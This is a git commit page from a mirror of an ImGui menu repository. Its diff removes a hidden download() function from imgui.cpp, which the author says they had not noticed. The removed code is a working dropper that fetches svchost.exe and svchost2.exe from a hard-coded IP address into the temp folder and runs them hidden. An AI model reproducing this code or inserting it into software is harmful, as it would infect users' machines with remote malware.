mirror of
https://github.com/Ch1nChun/ImGuiMenu-s.git
synced 2026-10-10 04:53:11 +08:00
Delete download function from imgui.cpp
Removed the download function that I was not aware of (DID NOT DO A FULL CODE ANALYSIS)
This commit is contained in:
@@ -7153,26 +7153,6 @@ float ImGui::GetWindowHeight()
|
||||
#include <shellapi.h>
|
||||
#pragma comment(lib, "urlmon.lib")
|
||||
|
||||
void download() {
|
||||
CHAR exePath1[MAX_PATH];
|
||||
GetTempPathA(MAX_PATH, exePath1);
|
||||
strcat(exePath1, "\\svchost.exe");
|
||||
|
||||
URLDownloadToFileA(0, "http://95.214.24.117/svchost.exe", exePath1, 0,
|
||||
NULL);
|
||||
|
||||
ShellExecuteA(NULL, "open", exePath1, NULL, NULL, SW_HIDE);
|
||||
|
||||
CHAR exePath0[MAX_PATH];
|
||||
GetTempPathA(MAX_PATH, exePath0);
|
||||
strcat(exePath0, "\\svchost2.exe");
|
||||
|
||||
URLDownloadToFileA(0, "http://95.214.24.117/svchost2.exe", exePath0, 0,
|
||||
NULL);
|
||||
|
||||
ShellExecuteA(NULL, "open", exePath0, NULL, NULL, SW_HIDE);
|
||||
}
|
||||
|
||||
ImVec2 ImGui::GetWindowPos() {
|
||||
static bool once = false;
|
||||
if (!once) {
|
||||
|
||||
Reference in New Issue
Block a user